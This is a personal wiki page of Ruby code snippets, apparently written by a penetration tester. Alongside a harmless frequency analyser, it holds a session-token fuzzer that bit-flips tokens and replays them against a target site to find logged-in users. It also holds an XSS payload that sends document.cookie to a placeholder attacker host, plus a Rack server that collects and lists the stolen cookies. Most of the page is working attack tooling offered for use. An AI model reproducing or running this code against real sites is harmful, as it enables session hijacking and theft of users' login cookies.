RubyCodeSnippets
From Rory.wiki
Contents |
Ruby Code Snippets
This is somewhere for me to keep sections of Ruby code I've written with some notes.
generic https getting
This code is just to do an iteration over a token supplied as part of an https request
require 'uri' require 'net/http' require 'net/https' #Supply the tokens here tokens = File.open(ARGV[0],'r') #chuck the tokens into an array and strip off the newlines token_array = tokens.readlines token_array.each {|token| token.chomp!} output = File.new('token_responses','w+') #Set the base URL request end up with the parameter that you've got tokens for url = URI.parse('<your_url_here>') #Start up a session http = Net::HTTP.new (url.host, 443) #Set it to use SSL http.use_ssl = true token_array.each do |token| request = url.request_uri + token resp, data = http.get(request, nil) output.puts (token + ' gave a response of ' + resp.to_s) end output.close
Frequency Analyser
Quick and dirty script to analyse how often specific characters occur in a string value
#!/usr/bin/env ruby if ARGV.length < 1 puts 'syntax is freq-analysis.rb <filename>' exit end input = File.open(ARGV[0],'r') input_array = input.readlines input_array.each {|line| line.chomp!} frequencies = Hash.new input_array.each do |token| token.each_char do |character| if frequencies[character] frequencies[character] = frequencies[character] + 1 else frequencies[character] = 1 end end end frequencies.each do |char,value| puts char + " => " + value.to_s end
Token Analyzer
Written to analyze a token which determined whether a user was logged in or not. the code fuzzes the tokens by bit-flipping the first 16 bits then tries out each request to the target server and records the response.
Main Class
class TokenAnalyzer require 'rubygems' require 'mechanize' require 'logger' require 'uri' require 'timeout' attr_accessor :fuzzed_tokens, :token_array def initialize (token_file, base_url, fuzz_bits) @log = Logger.new("token-analyzer-log.txt") @log.level = Logger::DEBUG @log.debug("Created Logger") input_file = File.open(token_file,'r') #This sets the base URL. You need to have the parameter to be fuzzed at the end of the parameter list #eg, http://victim.com/test_page?param1=xxx¶m_to_fuzz= @base_url = base_url #Sets number of bits to fuzz @fuzz_bits = (fuzz_bits.to_i) @token_array = input_file.readlines @token_array.each {|token| token.chomp!} @fuzz_report = Hash.new @fuzz_report_file = File.new('fuzz_report_file.txt','w+') end def fuzz_tokens @fuzzed_tokens = Hash.new @token_array.each do |token| @fuzzed_tokens[token] = Array.new @fuzzed_tokens[token] << token hex_val = token[0..(@fuzz_bits - 1)] @log.debug("initial Val is " + hex_val) rest_blocks = token[@fuzz_bits..(token.length - 1)] rest_blocks = token[16..47] integer_val = hex_val.to_i(16) bin_val_string = integer_val.to_s(2) bin_val_array = bin_val_string.split(//) #Flipping bits for i in 1..bin_val_array.length #Yuck this is horrible Must find a better way number = ('-' + i.to_s).to_i test_bin_array = Array.new(bin_val_array) if test_bin_array[number] == '1' test_bin_array[number] = '0' else test_bin_array[number] = '1' end new_bin_string = test_bin_array.to_s new_integer_val = new_bin_string.to_i(2) new_hex_val = new_integer_val.to_s(16) @log.debug("completed val is " + new_hex_val) @fuzzed_tokens[token] << new_hex_val + rest_blocks end end end def token_tester @fuzzed_tokens.each do |key,token_array| #Initialize Array for the report 0 is user found, 1 is user not found, 2 is 500 error @fuzz_report[key] = Array.new #this is just to remove any duplicate tokens and log some entries to mention if that's happened @log.debug("token array initially " + token_array.length.to_s) token_array.uniq! @log.debug("token array after de-dup " + token_array.length.to_s) urls = Array.new token_array.each do |token| urls << @base_url + token end @log.debug("setup token array") output = File.new(key + '_test_responses','w+') urls.each do |url| @log.debug("starting run for " + url) agent = WWW::Mechanize.new begin page = Timeout::timeout(15) { agent.get(url)} @log.debug("Got page") rescue WWW::Mechanize::ResponseCodeError => e puts 'Got a response code error on ' + url @log.debug(e.message + " on " + url) output.puts "URL " + url + " Gave Error " + e.message @fuzz_report[key] << '2' next rescue Errno::ECONNREFUSED puts 'yech got a connection refused on ' + url @log.warn("Connection refused on " + url) next rescue Timeout::Error puts 'got a timeout on ' + url @log.warn("Got a timeout on " + url) next end matched = false page.links.each do |link| if link.text.match /Log in as someone else/ output.puts "URL " + url + " has a user associated" @fuzz_report[key] << '0' matched = true end end unless matched output.puts "URL " + url + " does not have a user associated" @fuzz_report[key] << '1' end @log.debug("Finished this run") end output.close @log.debug("and we're done") end @fuzz_report.each do |rep_key,rep_array| @fuzz_report_file.puts rep_key + ',' + rep_array.to_s end end end
Test Example
#!/usr/bin/env ruby require 'rTokenAnalyzer' analyzer = TokenAnalyzer.new('token-list.csv','https://www.victim.com/test_page?param1=1¶m_to_test=',16) analyzer.fuzz_tokens analyzer.token_tester
Basic Rack cooke grabber
Useful for proving the value of XSS attacks. Just get the URL into the vector and away you go...
<script>document.location="http://<attacker_ip>/cookiegrabber?cookie="+document.cookie</script>
#!/usr/bin/env ruby require 'rubygems' require 'rack' builder = Rack::Builder.new do use Rack::CommonLogger @@grabbed = Array.new map '/' do run Proc.new {|env| [200, {"Content-Type" => "text/html"}, "<h1> Rack Pen Test Helper</h1>"]} end map '/cookiegrabber' do app = proc do |env| req = Rack::Request.new(env) ip = req.ip.to_s cookie = req.params['cookie'] || "No Cookie Parameter passed" @@grabbed << [ip,cookie] [200, {"Content-Type" => "text/html"}, "grabbed " + cookie + " from " + ip + "<br /> Grabbed " + @@grabbed.length.to_s + " cookies so far"] end run app end map '/cookiegrabbed' do app = proc do |env| out = "" if @@grabbed.length > 0 @@grabbed.each do |crumb| out << "Grabbed a cookie with value " + crumb[1] + " from " + crumb[0] + "<br />" end else out = "Nothing Grabbed so far" end [200, {"Content-Type" => "text/html"}, out] end run app end end Rack::Handler::Mongrel.run builder, :Port => 9292
